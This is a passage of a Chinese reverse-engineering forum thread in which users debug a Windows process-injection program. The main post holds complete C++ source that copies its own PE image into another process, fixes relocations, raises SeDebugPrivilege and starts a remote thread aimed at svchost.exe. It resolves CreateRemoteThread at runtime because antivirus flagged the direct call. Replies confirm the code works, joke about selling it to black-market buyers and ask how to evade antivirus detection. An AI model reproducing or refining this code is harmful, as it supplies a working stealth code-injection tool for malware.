能力值:
( LV2,RANK:10 )
|
-
-
26 楼
thread = CreateRemoteThread(proc, NULL, 0, entry, NULL, 0, NULL);
调试过程中发现是被杀在这个函数,我关掉杀软后,发现这个函数执行失败,thread返回为NULL
|
能力值:
( LV2,RANK:10 )
|
-
-
27 楼
贴出的我的代码,大牛们帮忙看看什么地方的错误呢?
// NewInject.cpp : Defines the entry point for the application.
//
#include "stdafx.h"
#include <Tlhelp32.h>
LPVOID CopyModule(HANDLE proc, LPVOID image)
{
PIMAGE_NT_HEADERS headers = (PIMAGE_NT_HEADERS)((LPBYTE)image + ((PIMAGE_DOS_HEADER)image)->e_lfanew);
PIMAGE_DATA_DIRECTORY datadir;
DWORD size = headers->OptionalHeader.SizeOfImage;
LPVOID mem = NULL;
LPBYTE buf = NULL;
BOOL ok = FALSE;
if (headers->Signature != IMAGE_NT_SIGNATURE)
return NULL;
if (IsBadReadPtr(image, size))
return NULL;
mem = VirtualAllocEx(proc, NULL, size, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (mem != NULL)
{
buf = (LPBYTE)VirtualAlloc(NULL, size, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (buf != NULL)
{
RtlCopyMemory(buf, image, size);
datadir = &headers->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC];
if (datadir->Size > 0 && datadir->VirtualAddress > 0)
{
DWORD_PTR delta = (DWORD_PTR)((LPBYTE)mem - headers->OptionalHeader.ImageBase);
DWORD_PTR olddelta = (DWORD_PTR)((LPBYTE)image - headers->OptionalHeader.ImageBase);
PIMAGE_BASE_RELOCATION reloc = (PIMAGE_BASE_RELOCATION)(buf + datadir->VirtualAddress);
while(reloc->VirtualAddress != 0)
{
if (reloc->SizeOfBlock >= sizeof(IMAGE_BASE_RELOCATION))
{
DWORD count = (reloc->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(WORD);
LPWORD list = (LPWORD)((LPBYTE)reloc + sizeof(IMAGE_BASE_RELOCATION));
DWORD i;
for (i = 0; i < count; i++)
{
if (list[i] > 0)
{
DWORD_PTR *p = (DWORD_PTR *)(buf + (reloc->VirtualAddress + (0x0FFF & (list[i]))));
*p -= olddelta;
*p += delta;
}
}
}
reloc = (PIMAGE_BASE_RELOCATION)((LPBYTE)reloc + reloc->SizeOfBlock);
}
ok = WriteProcessMemory(proc, mem, buf, size, NULL);
}
VirtualFree(buf, 0, MEM_RELEASE); // release buf
}
if (!ok)
{
VirtualFreeEx(proc, mem, 0, MEM_RELEASE);
mem = NULL;
}
}
return mem;
}
typedef HANDLE (WINAPI * CreateRemoteThreadT)
(
__in HANDLE hProcess,
__in_opt LPSECURITY_ATTRIBUTES lpThreadAttributes,
__in SIZE_T dwStackSize,
__in LPTHREAD_START_ROUTINE lpStartAddress,
__in_opt LPVOID lpParameter,
__in DWORD dwCreationFlags,
__out_opt LPDWORD lpThreadId
);
BOOL NewInject(DWORD pid, LPTHREAD_START_ROUTINE start)
{
HANDLE proc, thread;
HMODULE module, newmodule;
BOOL ok = FALSE;
proc = OpenProcess(PROCESS_QUERY_INFORMATION |
PROCESS_VM_OPERATION |
PROCESS_VM_WRITE |
PROCESS_VM_READ |
PROCESS_CREATE_THREAD |
PROCESS_DUP_HANDLE,
FALSE, pid);
if (proc != NULL)
{
module = GetModuleHandle(NULL);
newmodule = (HMODULE)CopyModule(proc, module);
if (newmodule != NULL)
{
LPTHREAD_START_ROUTINE entry = (LPTHREAD_START_ROUTINE)((LPBYTE)newmodule + (DWORD_PTR)((LPBYTE)start - (LPBYTE)module));
//thread = CreateRemoteThread(proc, NULL, 0, entry, NULL, 0, NULL);
CreateRemoteThreadT pCreateRemoteThread= (CreateRemoteThreadT)GetProcAddress(LoadLibrary("kernel32.dll"),"CreateRemoteThread");
thread = pCreateRemoteThread(proc, NULL, 0, entry, NULL, 0, NULL);
if (thread != NULL)
{
CloseHandle(thread);
ok = TRUE;
}
else
{
VirtualFreeEx(proc, module, 0, MEM_RELEASE);
}
}
CloseHandle(proc);
}
return ok;
}
//一般来说提升到 DEBUG 权限就 OK 了,下面是我以前摆弄的提权到 DEBUG 的代码
bool AdjustProcessTokenPrivilege()
{
LUID luidTmp;
HANDLE hToken;
TOKEN_PRIVILEGES tkp;
if(!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken))
{
OutputDebugString("AdjustProcessTokenPrivilege OpenProcessToken Failed ! \n");
return false;
}
if(!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &luidTmp))
{
OutputDebugString("AdjustProcessTokenPrivilege LookupPrivilegeValue Failed ! \n");
CloseHandle(hToken);
return FALSE;
}
tkp.PrivilegeCount = 1;
tkp.Privileges[0].Luid = luidTmp;
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
if(!AdjustTokenPrivileges(hToken, FALSE, &tkp, sizeof(tkp), NULL, NULL))
{
OutputDebugString("AdjustProcessTokenPrivilege AdjustTokenPrivileges Failed ! \n");
CloseHandle(hToken);
return FALSE;
}
return true;
}
DWORD GetProcessIdByName(LPCTSTR name)
{
PROCESSENTRY32 prostruct;
DWORD id = 0;
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
prostruct.dwSize = sizeof(PROCESSENTRY32);
if(!Process32First(hSnapshot,&prostruct))
return 0;
do
{
prostruct.dwSize = sizeof(PROCESSENTRY32);
if(!Process32Next(hSnapshot,&prostruct))
break;
if(strcmp(prostruct.szExeFile,name) == 0)
{
id = prostruct.th32ProcessID;
break;
}
}
while(TRUE);
CloseHandle(hSnapshot);
return id;
}
DWORD WINAPI _TestThread( LPVOID LParam)
{
::MessageBox(NULL, "测试新方法远程注入", "测试", MB_OK);
return 0;
}
int APIENTRY WinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR lpCmdLine,
int nCmdShow)
{
// TODO: Place code here.
BOOL bIsOK = FALSE;
bIsOK = AdjustProcessTokenPrivilege();
if (!bIsOK)
{
return -100;
}
//提权DEBUG后
NewInject(GetProcessIdByName("svchost.exe"), _TestThread);
return 0;
}
|
能力值:
( LV2,RANK:10 )
|
-
-
29 楼
win7下测试成功,当然,只欺负了记事本,计算器,cmd之类的
svchost是服务,估计要管理员权限运行
|
能力值:
( LV4,RANK:50 )
|
-
-
30 楼
话说会PE 能干好多weisuo的事
话说老V 没钱花的时候真好
代码和 前几天 http://bbs.pediy.com/showthread.php?t=153508 意思一样, 人家是替换 ,老V是 在原来的基础新空间新线程执行;
老V 你在做什么大事啊 , 这么缺钱~ 用你的代码买给做黑..产的 应该就不差钱了吧?
|
能力值:
( LV4,RANK:50 )
|
-
-
36 楼
最近看到类似的这种不少,不过老V这个更邪恶,但用了这两个WriteProcessMemory, CreateRemoteThread一般都会被杀软报的啊,能避开这个吗~~
|